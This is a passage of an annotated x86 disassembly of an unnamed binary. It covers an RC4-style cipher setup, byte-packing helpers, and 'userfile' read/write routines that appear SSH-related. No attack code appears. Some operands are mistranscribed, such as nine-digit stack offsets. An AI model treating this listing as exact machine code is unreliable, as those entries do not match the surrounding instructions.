0805da07  68 d7 4f 07 08       push     $0x8074fd7   ;[in .rodata] 1601791339 'x6b x65 x79 x5f' "key_len >
                                                       0"
0805da0c  e8 bb c3 fe ff       call     08049dcc <__assert_fail>
0805da11  8d 76 00             lea      0x0(%esi),%esi
0805da14  8d 5a 08             lea      0x8(%edx),%ebx
0805da17  c7 02 00 00 00 00    movl     $0x0,(%edx)   ;0 'x0 x0 x0 x0' ""
0805da1d  c7 42 04 00 00 00 00 movl     $0x0,0x4(%edx) ;0 'x0 x0 x0 x0' ""
0805da24  31 c9                xor      %ecx,%ecx
0805da26  89 f6                mov      %esi,%esi
0805da28  88 0c 19             mov      %cl,(%ecx,%ebx,1)
0805da2b  41                   inc      %ecx
0805da2c  81 f9 ff 00 00 00    cmp      $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805da32  76 f4                jbe      0805da28 <Unknown0262+0x40>
0805da34  31 f6                xor      %esi,%esi
0805da36  31 ff                xor      %edi,%edi
0805da38  31 c9                xor      %ecx,%ecx
0805da3a  89 f6                mov      %esi,%esi
0805da3c  8b 45 0c             mov      0xc(%ebp),%eax
0805da3f  0f b6 04 06          movzbl   (%esi,%eax,1),%eax
0805da43  0f b6 14 19          movzbl   (%ecx,%ebx,1),%edx
0805da47  01 c7                add      %eax,%edi
0805da49  8d 04 3a             lea      (%edx,%edi,1),%eax
0805da4c  0f b6 f8             movzbl   %al,%edi
0805da4f  0f b6 04 1f          movzbl   (%edi,%ebx,1),%eax
0805da53  46                   inc      %esi
0805da54  88 14 1f             mov      %dl,(%edi,%ebx,1)
0805da57  88 04 19             mov      %al,(%ecx,%ebx,1)
0805da5a  3b 75 10             cmp      0x10(%ebp),%esi
0805da5d  19 c0                sbb      %eax,%eax
0805da5f  41                   inc      %ecx
0805da60  21 c6                and      %eax,%esi
0805da62  81 f9 ff 00 00 00    cmp      $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805da68  76 d2                jbe      0805da3c <Unknown0262+0x54>
0805da6a  8d 65 f4             lea      0xfffffff4(%ebp),%esp
0805da6d  5b                   pop      %ebx
0805da6e  5e                   pop      %esi
0805da6f  5f                   pop      %edi
0805da70  5d                   pop      %ebp
0805da71  c3                   ret
0805da72  89 f6                mov      %esi,%esi


   ;
   ; >--------------------<  Subroutine # 263 >--------------------<
   ;
0805da74 <Unknown0263>:
0805da74  55                   push     %ebp
0805da75  89 e5                mov      %esp,%ebp
0805da77  57                   push     %edi
0805da78  56                   push     %esi
0805da79  53                   push     %ebx
0805da7a  51                   push     %ecx
0805da7b  31 ff                xor      %edi,%edi
0805da7d  3b 7d 14             cmp      0x14(%ebp),%edi
0805da80  73 59                jae      0805dadb <Unknown0263+0x67>
0805da82  8b 75 08             mov      0x8(%ebp),%esi
0805da85  83 c6 08             add      $0x8,%esi
0805da88  8b 45 08             mov      0x8(%ebp),%eax
0805da8b  8b 08                mov      (%eax),%ecx
0805da8d  41                   inc      %ecx
0805da8e  81 e1 ff 00 00 00    and      $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0805da94  0f b6 14 31          movzbl   (%ecx,%esi,1),%edx
0805da98  8b 5d 08             mov      0x8(%ebp),%ebx
0805da9b  89 d0                mov      %edx,%eax
0805da9d  03 43 04             add      0x4(%ebx),%eax
0805daa0  25 ff 00 00 00       and      $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805daa5  0f b6 1c 30          movzbl   (%eax,%esi,1),%ebx
0805daa9  89 5d f0             mov      %ebx,0xfffffff0(%ebp)
0805daac  8b 5d 08             mov      0x8(%ebp),%ebx
0805daaf  89 0b                mov      %ecx,(%ebx)
0805dab1  89 43 04             mov      %eax,0x4(%ebx)
0805dab4  88 14 30             mov      %dl,(%eax,%esi,1)
0805dab7  8a 45 f0             mov      0xfffffff0(%ebp),%al
0805daba  88 04 31             mov      %al,(%ecx,%esi,1)
0805dabd  03 55 f0             add      0xfffffff0(%ebp),%edx
0805dac0  8b 4d 10             mov      0x10(%ebp),%ecx
0805dac3  8a 04 0f             mov      (%edi,%ecx,1),%al
0805dac6  81 e2 ff 00 00 00    and      $0xff,%edx   ;255 'xff x0 x0 x0' ""
0805dacc  32 04 32             xor      (%edx,%esi,1),%al
0805dacf  8b 5d 0c             mov      0xc(%ebp),%ebx
0805dad2  88 04 1f             mov      %al,(%edi,%ebx,1)
0805dad5  47                   inc      %edi
0805dad6  3b 7d 14             cmp      0x14(%ebp),%edi
```

```
0805dad9   72 ad                  jb       0805da88 <Unknown0263+0x14>
0805dadb   5a                     pop      %edx
0805dadc   5b                     pop      %ebx
0805dadd   5e                     pop      %esi
0805dade   5f                     pop      %edi
0805dadf   5d                     pop      %ebp
0805dae0   c3                     ret
0805dae1   8d 76 00               lea      0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 264 >--------------------<
  ;
0805dae4 <Unknown0264>:
0805dae4   55                     push     %ebp
0805dae5   89 e5                  mov      %esp,%ebp
0805dae7   53                     push     %ebx
0805dae8   53                     push     %ebx
0805dae9   8b 5d fc               mov      0xfffffffc(%ebp),%ebx
0805daec   c9                     leave
0805daed   e9 82 ff ff ff         jmp      0805da74 <Unknown0263>  ;-126 'x82 xff xff xff' ""
0805daf2   89 f6                  mov      %esi,%esi
0805daf4   55                     push     %ebp
0805daf5   89 e5                  mov      %esp,%ebp
0805daf7   57                     push     %edi
0805daf8   56                     push     %esi
0805daf9   53                     push     %ebx
0805dafa   8b 4d 08               mov      0x8(%ebp),%ecx
0805dafd   8b 19                  mov      (%ecx),%ebx
0805daff   43                     inc      %ebx
0805db00   8d 71 08               lea      0x8(%ecx),%esi
0805db03   81 e3 ff 00 00 00      and      $0xff,%ebx   ;255 'xff x0 x0 x0' ""
0805db09   0f b6 14 33            movzbl   (%ebx,%esi,1),%edx
0805db0d   89 d0                  mov      %edx,%eax
0805db0f   03 41 04               add      0x4(%ecx),%eax
0805db12   25 ff 00 00 00         and      $0xff,%eax   ;255 'xff x0 x0 x0' ""
0805db17   0f b6 3c 30            movzbl   (%eax,%esi,1),%edi
0805db1b   89 41 04               mov      %eax,0x4(%ecx)
0805db1e   89 19                  mov      %ebx,(%ecx)
0805db20   88 14 30               mov      %dl,(%eax,%esi,1)
0805db23   89 f8                  mov      %edi,%eax
0805db25   88 04 33               mov      %al,(%ebx,%esi,1)
0805db28   01 fa                  add      %edi,%edx
0805db2a   81 e2 ff 00 00 00      and      $0xff,%edx   ;255 'xff x0 x0 x0' ""
0805db30   5b                     pop      %ebx
0805db31   0f b6 04 32            movzbl   (%edx,%esi,1),%eax
0805db35   5e                     pop      %esi
0805db36   5f                     pop      %edi
0805db37   5d                     pop      %ebp
0805db38   c3                     ret
0805db39   8d 76 00               lea      0x0(%esi),%esi


  ;
  ; >--------------------< Subroutine # 265 >--------------------<
  ;
0805db3c <Unknown0265>:
0805db3c   55                     push     %ebp
0805db3d   89 e5                  mov      %esp,%ebp
0805db3f   57                     push     %edi
0805db40   56                     push     %esi
0805db41   53                     push     %ebx
0805db42   83 ec 24               sub      $0x24,%esp
0805db45   ff 75 10               pushl    0x10(%ebp)
0805db48   8d 75 d8               lea      0xffffffd8(%ebp),%esi
0805db4b   8b 5d 0c               mov      0xc(%ebp),%ebx
0805db4e   56                     push     %esi
0805db4f   8b 7d 08               mov      0x8(%ebp),%edi
0805db52   e8 ed 3a 00 00         call     08061644 <Unknown0321>
0805db57   eb 3a                  jmp      0805db93 <Unknown0265+0x57>
0805db59   8d 76 00               lea      0x0(%esi),%esi
0805db5c   83 ec 0c               sub      $0xc,%esp
0805db5f   56                     push     %esi
0805db60   e8 47 36 00 00         call     080611ac <Unknown0318>
0805db65   83 c4 0c               add      $0xc,%esp
0805db68   89 c2                  mov      %eax,%edx
0805db6a   c1 ea 18               shr      $0x18,%edx
0805db6d   88 54 3b fc            mov      %dl,0xfffffffc(%ebx,%edi,1)
0805db71   89 c2                  mov      %eax,%edx
0805db73   c1 ea 10               shr      $0x10,%edx
0805db76   88 54 3b fd            mov      %dl,0xfffffffd(%ebx,%edi,1)
0805db7a   89 c2                  mov      %eax,%edx
0805db7c   c1 ea 08               shr      $0x8,%edx
0805db7f   88 54 3b fe            mov      %dl,0xfffffffe(%ebx,%edi,1)
```

```
0805db83  88 44 3b ff        mov     %al,0xffffffff(%ebx,%edi,1)
0805db87  6a 20              push    $0x20
0805db89  56                 push    %esi
0805db8a  56                 push    %esi
0805db8b  83 eb 04           sub     $0x4,%ebx
0805db8e  e8 29 2d 00 00     call    080608bc <Unknown0310>
0805db93  83 c4 10           add     $0x10,%esp
0805db96  83 fb 03           cmp     $0x3,%ebx
0805db99  77 c1              ja      0805db5c <Unknown0265+0x20>
0805db9b  85 db              test    %ebx,%ebx
0805db9d  74 24              je      0805dbc3 <Unknown0265+0x87>
0805db9f  8d 75 d8           lea     0xffffffd8(%ebp),%esi
0805dba2  89 f6              mov     %esi,%esi
0805dba4  83 ec 0c           sub     $0xc,%esp
0805dba7  56                 push    %esi
0805dba8  e8 ff 35 00 00     call    080611ac <Unknown0318>
0805dbad  83 c4 0c           add     $0xc,%esp
0805dbb0  88 44 3b ff        mov     %al,0xffffffff(%ebx,%edi,1)
0805dbb4  6a 08              push    $0x8
0805dbb6  56                 push    %esi
0805dbb7  56                 push    %esi
0805dbb8  e8 ff 2c 00 00     call    080608bc <Unknown0310>
0805dbbd  83 c4 10           add     $0x10,%esp
0805dbc0  4b                 dec     %ebx
0805dbc1  75 e1              jne     0805dba4 <Unknown0265+0x68>
0805dbc3  83 ec 0c           sub     $0xc,%esp
0805dbc6  8d 45 d8           lea     0xffffffd8(%ebp),%eax
0805dbc9  50                 push    %eax
0805dbca  e8 31 2c 00 00     call    08060800 <Unknown0307>
0805dbcf  8d 65 f4           lea     0xfffffff4(%ebp),%esp
0805dbd2  5b                 pop     %ebx
0805dbd3  5e                 pop     %esi
0805dbd4  5f                 pop     %edi
0805dbd5  5d                 pop     %ebp
0805dbd6  c3                 ret
0805dbd7  90                 nop


  ;
  ; >--------------------<  Subroutine # 266 >--------------------<
  ;
0805dbd8 <Unknown0266>:
0805dbd8  55                 push    %ebp
0805dbd9  89 e5              mov     %esp,%ebp
0805dbdb  57                 push    %edi
0805dbdc  56                 push    %esi
0805dbdd  53                 push    %ebx
0805dbde  83 ec 14           sub     $0x14,%esp
0805dbe1  6a 00              push    $0x0
0805dbe3  8b 7d 08           mov     0x8(%ebp),%edi
0805dbe6  57                 push    %edi
0805dbe7  e8 b4 49 00 00     call    080625a0 <Unknown0337>
0805dbec  31 f6              xor     %esi,%esi
0805dbee  83 c4 10           add     $0x10,%esp
0805dbf1  83 7d 10 03        cmpl    $0x3,0x10(%ebp)
0805dbf5  76 71              jbe     0805dc68 <Unknown0266+0x90>
0805dbf7  90                 nop
0805dbf8  8b 45 0c           mov     0xc(%ebp),%eax
0805dbfb  0f b6 1c 06        movzbl  (%esi,%eax,1),%ebx
0805dbff  0f b6 44 06 01     movzbl  0x1(%esi,%eax,1),%eax
0805dc04  8b 55 0c           mov     0xc(%ebp),%edx
0805dc07  c1 e0 10           shl     $0x10,%eax
0805dc0a  c1 e3 18           shl     $0x18,%ebx
0805dc0d  09 c3              or      %eax,%ebx
0805dc0f  0f b6 44 16 02     movzbl  0x2(%esi,%edx,1),%eax
0805dc14  c1 e0 08           shl     $0x8,%eax
0805dc17  09 c3              or      %eax,%ebx
0805dc19  0f b6 44 16 03     movzbl  0x3(%esi,%edx,1),%eax
0805dc1e  52                 push    %edx
0805dc1f  6a 20              push    $0x20
0805dc21  57                 push    %edi
0805dc22  09 c3              or      %eax,%ebx
0805dc24  57                 push    %edi
0805dc25  e8 4a 3b 00 00     call    08061774 <Unknown0324>
0805dc2a  83 c4 0c           add     $0xc,%esp
0805dc2d  53                 push    %ebx
0805dc2e  57                 push    %edi
0805dc2f  83 c6 04           add     $0x4,%esi
0805dc32  57                 push    %edi
0805dc33  e8 70 2a 00 00     call    080606a8 <Unknown0306>
0805dc38  8d 46 04           lea     0x4(%esi),%eax
0805dc3b  83 c4 10           add     $0x10,%esp
0805dc3e  3b 45 10           cmp     0x10(%ebp),%eax
0805dc41  76 b5              jbe     0805dbf8 <Unknown0266+0x20>
```

```
0805dc43  eb 23              jmp     0805dc68 <Unknown0266+0x90>
0805dc45  8d 76 00           lea     0x0(%esi),%esi
0805dc48  50                 push    %eax
0805dc49  6a 08              push    $0x8
0805dc4b  57                 push    %edi
0805dc4c  57                 push    %edi
0805dc4d  e8 22 3b 00 00     call    08061774 <Unknown0324>
0805dc52  8b 55 0c           mov     0xc(%ebp),%edx
0805dc55  83 c4 0c           add     $0xc,%esp
0805dc58  0f b6 04 16        movzbl  (%esi,%edx,1),%eax
0805dc5c  50                 push    %eax
0805dc5d  57                 push    %edi
0805dc5e  57                 push    %edi
0805dc5f  46                 inc     %esi
0805dc60  e8 43 2a 00 00     call    080606a8 <Unknown0306>
0805dc65  83 c4 10           add     $0x10,%esp
0805dc68  3b 75 10           cmp     0x10(%ebp),%esi
0805dc6b  72 db              jb      0805dc48 <Unknown0266+0x70>
0805dc6d  8d 65 f4           lea     0xfffffff4(%ebp),%esp
0805dc70  5b                 pop     %ebx
0805dc71  5e                 pop     %esi
0805dc72  5f                 pop     %edi
0805dc73  5d                 pop     %ebp
0805dc74  c3                 ret
0805dc75  8d 76 00           lea     0x0(%esi),%esi


   ;
   ; >--------------------<  Subroutine # 267 >--------------------<
   ;
0805dc78 <Unknown0267>:
0805dc78  55                 push    %ebp
0805dc79  89 e5              mov     %esp,%ebp
0805dc7b  57                 push    %edi
0805dc7c  56                 push    %esi
0805dc7d  53                 push    %ebx
0805dc7e  81 ec 88 00 00 00  sub     $0x88,%esp    ;136 'x88 x0 x0 x0' ""
0805dc84  8b 5d 10           mov     0x10(%ebp),%ebx
0805dc87  8b 75 18           mov     0x18(%ebp),%esi
0805dc8a  83 c3 07           add     $0x7,%ebx
0805dc8d  83 c6 07           add     $0x7,%esi
0805dc90  c1 ee 03           shr     $0x3,%esi
0805dc93  c1 eb 03           shr     $0x3,%ebx
0805dc96  8d 44 1e 08        lea     0x8(%esi,%ebx,1),%eax
0805dc9a  89 45 84           mov     %eax,0xffffff84(%ebp)
0805dc9d  50                 push    %eax
0805dc9e  e8 ed 91 ff ff     call    08056e90 <Unknown0170>
0805dca3  83 c4 0c           add     $0xc,%esp
0805dca6  ff 75 14           pushl   0x14(%ebp)
0805dca9  89 c7              mov     %eax,%edi
0805dcab  53                 push    %ebx
0805dcac  57                 push    %edi
0805dcad  e8 8a fe ff ff     call    0805db3c <Unknown0265>
0805dcb2  83 c4 0c           add     $0xc,%esp
0805dcb5  ff 75 1c           pushl   0x1c(%ebp)
0805dcb8  56                 push    %esi
0805dcb9  8d 1c 3b           lea     (%ebx,%edi,1),%ebx
0805dcbc  53                 push    %ebx
0805dcbd  e8 7a fe ff ff     call    0805db3c <Unknown0265>
0805dcc2  8b 55 0c           mov     0xc(%ebp),%edx
0805dcc5  8b 02              mov     (%edx),%eax
0805dcc7  89 04 1e           mov     %eax,(%esi,%ebx,1)
0805dcca  8b 42 04           mov     0x4(%edx),%eax
0805dccd  89 44 1e 04        mov     %eax,0x4(%esi,%ebx,1)
0805dcd1  8d 5d 88           lea     0xffffff88(%ebp),%ebx
0805dcd4  89 1c 24           mov     %ebx,(%esp,1)
0805dcd7  e8 9c 73 ff ff     call    08055078 <Unknown0110>
0805dcdc  83 c4 0c           add     $0xc,%esp
0805dcdf  ff 75 84           pushl   0xffffff84(%ebp)
0805dce2  57                 push    %edi
0805dce3  53                 push    %ebx
0805dce4  e8 c3 73 ff ff     call    080550ac <Unknown0111>
0805dce9  59                 pop     %ecx
0805dcea  5e                 pop     %esi
0805dceb  53                 push    %ebx
0805dcec  ff 75 08           pushl   0x8(%ebp)
0805dcef  e8 84 74 ff ff     call    08055178 <Unknown0112>
0805dcf4  89 3c 24           mov     %edi,(%esp,1)
0805dcf7  e8 14 92 ff ff     call    08056f10 <Unknown0172>
0805dcfc  8d 65 f4           lea     0xfffffff4(%ebp),%esp
0805dcff  5b                 pop     %ebx
0805dd00  5e                 pop     %esi
0805dd01  5f                 pop     %edi
0805dd02  5d                 pop     %ebp
```

```
0805dd03  c3                     ret


  ;
  ; >--------------------<  Subroutine # 268 >--------------------<
  ;
0805dd04 <Unknown0268>:
0805dd04  55                     push    %ebp
0805dd05  89 e5                  mov     %esp,%ebp
0805dd07  8b 0d b8 82 07 08      mov     0x80782b8,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805dd0d  83 ec 08               sub     $0x8,%esp
0805dd10  85 c9                  test    %ecx,%ecx
0805dd12  75 1a                  jne     0805dd2e <Unknown0268+0x2a>
0805dd14  83 ec 0c               sub     $0xc,%esp
0805dd17  68 78 c1 07 08         push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805dd1c  e8 f3 7b ff ff         call    08055914 <Unknown0114>
0805dd21  83 c4 10               add     $0x10,%esp
0805dd24  c7 05 b8 82 07 08 01 00 00 00  movl  $0x1,0x80782b8  ;1 'x1 x0 x0 x0' ""
0805dd2e  83 ec 0c               sub     $0xc,%esp
0805dd31  68 78 c1 07 08         push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805dd36  e8 31 7c ff ff         call    0805596c <Unknown0116>
0805dd3b  58                     pop     %eax
0805dd3c  5a                     pop     %edx
0805dd3d  ff 75 08               pushl   0x8(%ebp)
0805dd40  68 78 c1 07 08         push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805dd45  e8 2e ce ff ff         call    0805ab78 <Unknown0226>
0805dd4a  c9                     leave
0805dd4b  c3                     ret


  ;
  ; >--------------------<  Subroutine # 269 >--------------------<
  ;
0805dd4c <Unknown0269>:
0805dd4c  55                     push    %ebp
0805dd4d  89 e5                  mov     %esp,%ebp
0805dd4f  57                     push    %edi
0805dd50  56                     push    %esi
0805dd51  53                     push    %ebx
0805dd52  83 ec 18               sub     $0x18,%esp
0805dd55  68 78 c1 07 08         push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805dd5a  e8 e9 7c ff ff         call    08055a48 <Unknown0119>
0805dd5f  89 c6                  mov     %eax,%esi
0805dd61  83 c4 10               add     $0x10,%esp
0805dd64  c1 e8 18               shr     $0x18,%eax
0805dd67  88 45 f0               mov     %al,0xfffffff0(%ebp)
0805dd6a  89 f0                  mov     %esi,%eax
0805dd6c  c1 e8 10               shr     $0x10,%eax
0805dd6f  88 45 f1               mov     %al,0xfffffff1(%ebp)
0805dd72  8d 55 f0               lea     0xfffffff0(%ebp),%edx
0805dd75  89 f0                  mov     %esi,%eax
0805dd77  89 55 ec               mov     %edx,0xffffffec(%ebp)
0805dd7a  0f b6 d4               movzbl  %ah,%edx
0805dd7d  c1 e2 10               shl     $0x10,%edx
0805dd80  0f b7 45 f0            movzwl  0xfffffff0(%ebp),%eax
0805dd84  c1 e6 18               shl     $0x18,%esi
0805dd87  09 d0                  or      %edx,%eax
0805dd89  09 f0                  or      %esi,%eax
0805dd8b  89 45 f0               mov     %eax,0xfffffff0(%ebp)
0805dd8e  be 04 00 00 00         mov     $0x4,%esi   ;4 'x4 x0 x0 x0' ""
0805dd93  31 ff                  xor     %edi,%edi
0805dd95  8d 76 00               lea     0x0(%esi),%esi
0805dd98  89 f0                  mov     %esi,%eax
0805dd9a  53                     push    %ebx
0805dd9b  29 f8                  sub     %edi,%eax
0805dd9d  8b 55 ec               mov     0xffffffec(%ebp),%edx
0805dda0  50                     push    %eax
0805dda1  8d 04 3a               lea     (%edx,%edi,1),%eax
0805dda4  50                     push    %eax
0805dda5  ff 35 70 c1 07 08      pushl   0x807c170   ;[in .bss] 1075317896 'x88 xc x18 x40' ""
0805ddab  e8 fc be fe ff         call    08049cac <write>
0805ddb0  89 c3                  mov     %eax,%ebx
0805ddb2  83 c4 10               add     $0x10,%esp
0805ddb5  85 db                  test    %ebx,%ebx
0805ddb7  7f 20                  jg      0805ddd9 <Unknown0269+0x8d>
0805ddb9  83 ec 10               sub     $0x10,%esp
0805ddbc  e8 7b c0 fe ff         call    08049e3c <__errno_location>
0805ddc1  59                     pop     %ecx
0805ddc2  ff 30                  pushl   (%eax)
0805ddc4  e8 23 c0 fe ff         call    08049dec <strerror>
0805ddc9  59                     pop     %ecx
0805ddca  5a                     pop     %edx
0805ddcb  50                     push    %eax
0805ddcc  68 00 50 07 08         push    $0x8075000   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
```

"userfile_packet_send: child has
died: %.100s"

```
0805ddd1  e8 86 21 ff ff        call    0804ff5c <Unknown0044>
0805ddd6  83 c4 10              add     $0x10,%esp
0805ddd9  01 df                 add     %ebx,%edi
0805dddb  83 ff 04              cmp     $0x4,%edi
0805ddde  72 b8                 jb      0805dd98 <Unknown0269+0x4c>
0805dde0  83 ec 0c              sub     $0xc,%esp
0805dde3  68 78 c1 07 08        push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805dde8  e8 5b 7c ff ff        call    08055a48 <Unknown0119>
0805dded  89 c6                 mov     %eax,%esi
0805ddef  31 ff                 xor     %edi,%edi
0805ddf1  83 c4 10              add     $0x10,%esp
0805ddf4  39 f7                 cmp     %esi,%edi
0805ddf6  73 50                 jae     0805de48 <Unknown0269+0xfc>
0805ddf8  89 f0                 mov     %esi,%eax
0805ddfa  52                    push    %edx
0805ddfb  29 f8                 sub     %edi,%eax
0805ddfd  50                    push    %eax
0805ddfe  50                    push    %eax
0805ddff  68 78 c1 07 08        push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805de04  e8 03 7d ff ff        call    08055b0c <Unknown0123>
0805de09  59                    pop     %ecx
0805de0a  5b                    pop     %ebx
0805de0b  01 f8                 add     %edi,%eax
0805de0d  50                    push    %eax
0805de0e  ff 35 70 c1 07 08     pushl   0x807c170   ;[in .bss] 1075317896 'x88 xc x18 x40' ""
0805de14  e8 93 be fe ff        call    08049cac <write>
0805de19  89 c3                 mov     %eax,%ebx
0805de1b  83 c4 10              add     $0x10,%esp
0805de1e  85 db                 test    %ebx,%ebx
0805de20  7f 20                 jg      0805de42 <Unknown0269+0xf6>
0805de22  83 ec 10              sub     $0x10,%esp
0805de25  e8 12 c0 fe ff        call    08049e3c <__errno_location>
0805de2a  5a                    pop     %edx
0805de2b  ff 30                 pushl   (%eax)
0805de2d  e8 ba bf fe ff        call    08049dec <strerror>
0805de32  5a                    pop     %edx
0805de33  59                    pop     %ecx
0805de34  50                    push    %eax
0805de35  68 00 50 07 08        push    $0x8075000   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                    "userfile_packet_send: child has died: %.100s"
0805de3a  e8 1d 21 ff ff        call    0804ff5c <Unknown0044>
0805de3f  83 c4 10              add     $0x10,%esp
0805de42  01 df                 add     %ebx,%edi
0805de44  39 f7                 cmp     %esi,%edi
0805de46  72 b0                 jb      0805ddf8 <Unknown0269+0xac>
0805de48  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805de4b  5b                    pop     %ebx
0805de4c  5e                    pop     %esi
0805de4d  5f                    pop     %edi
0805de4e  5d                    pop     %ebp
0805de4f  c3                    ret


  ;
  ; >--------------------<  Subroutine # 270 >--------------------<
  ;
0805de50 <Unknown0270>:
0805de50  55                    push    %ebp
0805de51  89 e5                 mov     %esp,%ebp
0805de53  57                    push    %edi
0805de54  56                    push    %esi
0805de55  53                    push    %ebx
0805de56  8b 35 b8 82 07 08     mov     0x80782b8,%esi  ;[in .data] 0 'x0 x0 x0 x0' ""
0805de5c  81 ec 1c 02 00 00     sub     $0x21c,%esp  ;540 'x1c x2 x0 x0' ""
0805de62  85 f6                 test    %esi,%esi
0805de64  75 1a                 jne     0805de80 <Unknown0270+0x30>
0805de66  83 ec 0c              sub     $0xc,%esp
0805de69  68 78 c1 07 08        push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805de6e  e8 a1 7a ff ff        call    08055914 <Unknown0114>
0805de73  83 c4 10              add     $0x10,%esp
0805de76  c7 05 b8 82 07 08 01 00 00 00  movl  $0x1,0x80782b8  ;1 'x1 x0 x0 x0' ""
0805de80  c7 85 e4 fd ff ff 04 00 00 00  movl  $0x4,0xffffffde4(%ebp)  ;4 'x4 x0 x0 x0' ""
0805de8a  31 ff                 xor     %edi,%edi
0805de8c  8b 85 e4 fd ff ff     mov     0xffffffde4(%ebp),%eax  ;-540 'xe4 xfd xff xff' ""
0805de92  53                    push    %ebx
0805de93  29 f8                 sub     %edi,%eax
0805de95  50                    push    %eax
0805de96  8d 84 2f e8 fd ff ff  lea     0xffffffde8(%edi,%ebp,1),%eax  ;-536 'xe8 xfd xff xff' ""
0805de9d  50                    push    %eax
0805de9e  ff 35 74 c1 07 08     pushl   0x807c174   ;[in .bss] -126037959 'x39 xd0 x7c xf8' "9"
0805dea4  e8 03 c6 fe ff        call    0804a4ac <read>
```

```
0805dea9  89 c6                    mov     %eax,%esi
0805deab  83 c4 10                 add     $0x10,%esp
0805deae  85 f6                    test    %esi,%esi
0805deb0  7f 3a                    jg      0805deec <Unknown0270+0x9c>
0805deb2  e8 55 c3 fe ff           call    0804a20c <getuid>
0805deb7  89 c3                    mov     %eax,%ebx
0805deb9  e8 0e c6 fe ff           call    0804a4cc <geteuid>
0805debe  39 c3                    cmp     %eax,%ebx
0805dec0  75 0a                    jne     0805decc <Unknown0270+0x7c>
0805dec2  83 ec 0c                 sub     $0xc,%esp
0805dec5  6a 00                    push    $0x0
0805dec7  e8 80 c4 fe ff           call    0804a34c <exit>
0805decc  83 ec 10                 sub     $0x10,%esp
0805decf  e8 68 bf fe ff           call    08049e3c <__errno_location>
0805ded4  59                       pop     %ecx
0805ded5  ff 30                    pushl   (%eax)
0805ded7  e8 10 bf fe ff           call    08049dec <strerror>
0805dedc  5b                       pop     %ebx
0805dedd  5a                       pop     %edx
0805dede  50                       push    %eax
0805dedf  68 40 50 07 08           push    $0x8075040   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                        "userfile_read_raw: child has died: %.100s"
0805dee4  e8 73 20 ff ff           call    0804ff5c <Unknown0044>
0805dee9  83 c4 10                 add     $0x10,%esp
0805deec  01 f7                    add     %esi,%edi
0805deee  83 ff 04                 cmp     $0x4,%edi
0805def1  72 99                    jb      0805de8c <Unknown0270+0x3c>
0805def3  0f b6 85 e8 fd ff ff     movzbl  0xfffffde8(%ebp),%eax   ;-536 'xe8 xfd xff xff' ""
0805defa  c1 e0 18                 shl     $0x18,%eax
0805defd  89 85 e4 fd ff ff        mov     %eax,0xfffffde4(%ebp)   ;-540 'xe4 xfd xff xff' ""
0805df03  0f b6 85 e9 fd ff ff     movzbl  0xfffffde9(%ebp),%eax   ;-535 'xe9 xfd xff xff' ""
0805df0a  c1 e0 10                 shl     $0x10,%eax
0805df0d  09 85 e4 fd ff ff        or      %eax,0xfffffde4(%ebp)   ;-540 'xe4 xfd xff xff' ""
0805df13  0f b6 85 ea fd ff ff     movzbl  0xfffffdea(%ebp),%eax   ;-534 'xea xfd xff xff' ""
0805df1a  c1 e0 08                 shl     $0x8,%eax
0805df1d  09 85 e4 fd ff ff        or      %eax,0xfffffde4(%ebp)   ;-540 'xe4 xfd xff xff' ""
0805df23  0f b6 85 eb fd ff ff     movzbl  0xfffffdeb(%ebp),%eax   ;-533 'xeb xfd xff xff' ""
0805df2a  09 85 e4 fd ff ff        or      %eax,0xfffffde4(%ebp)   ;-540 'xe4 xfd xff xff' ""
0805df30  81 bd e4 fd ff ff 00 7d 00 00  cmpl  $0x7d00,0xfffffde4(%ebp)  ;32000 'x0 x7d x0 x0' ""
0805df3a  76 10                    jbe     0805df4c <Unknown0270+0xfc>
0805df3c  83 ec 0c                 sub     $0xc,%esp
0805df3f  68 80 50 07 08           push    $0x8075080   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                        "userfile_read_raw: received packet too long."
0805df44  e8 13 20 ff ff           call    0804ff5c <Unknown0044>
0805df49  83 c4 10                 add     $0x10,%esp
0805df4c  83 ec 0c                 sub     $0xc,%esp
0805df4f  68 78 c1 07 08           push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805df54  31 ff                    xor     %edi,%edi
0805df56  e8 11 7a ff ff           call    0805596c <Unknown0116>
0805df5b  eb 64                    jmp     0805dfc1 <Unknown0270+0x171>
0805df5d  8d 76 00                 lea     0x0(%esi),%esi
0805df60  8b b5 e4 fd ff ff        mov     0xfffffde4(%ebp),%esi   ;-540 'xe4 xfd xff xff' ""
0805df66  29 fe                    sub     %edi,%esi
0805df68  81 fe 00 02 00 00        cmp     $0x200,%esi   ;512 'x0 x2 x0 x0' ""
0805df6e  76 05                    jbe     0805df75 <Unknown0270+0x125>
0805df70  be 00 02 00 00           mov     $0x200,%esi   ;512 'x0 x2 x0 x0' ""
0805df75  51                       push    %ecx
0805df76  56                       push    %esi
0805df77  8d 9d e8 fd ff ff        lea     0xfffffde8(%ebp),%ebx   ;-536 'xe8 xfd xff xff' ""
0805df7d  53                       push    %ebx
0805df7e  ff 35 74 c1 07 08        pushl   0x807c174   ;[in .bss] -126037959 'x39 xd0 x7c xf8' "9"
0805df84  e8 23 c5 fe ff           call    0804a4ac <read>
0805df89  89 c6                    mov     %eax,%esi
0805df8b  83 c4 10                 add     $0x10,%esp
0805df8e  85 f6                    test    %esi,%esi
0805df90  7f 20                    jg      0805dfb2 <Unknown0270+0x162>
0805df92  83 ec 10                 sub     $0x10,%esp
0805df95  e8 a2 be fe ff           call    08049e3c <__errno_location>
0805df9a  5a                       pop     %edx
0805df9b  ff 30                    pushl   (%eax)
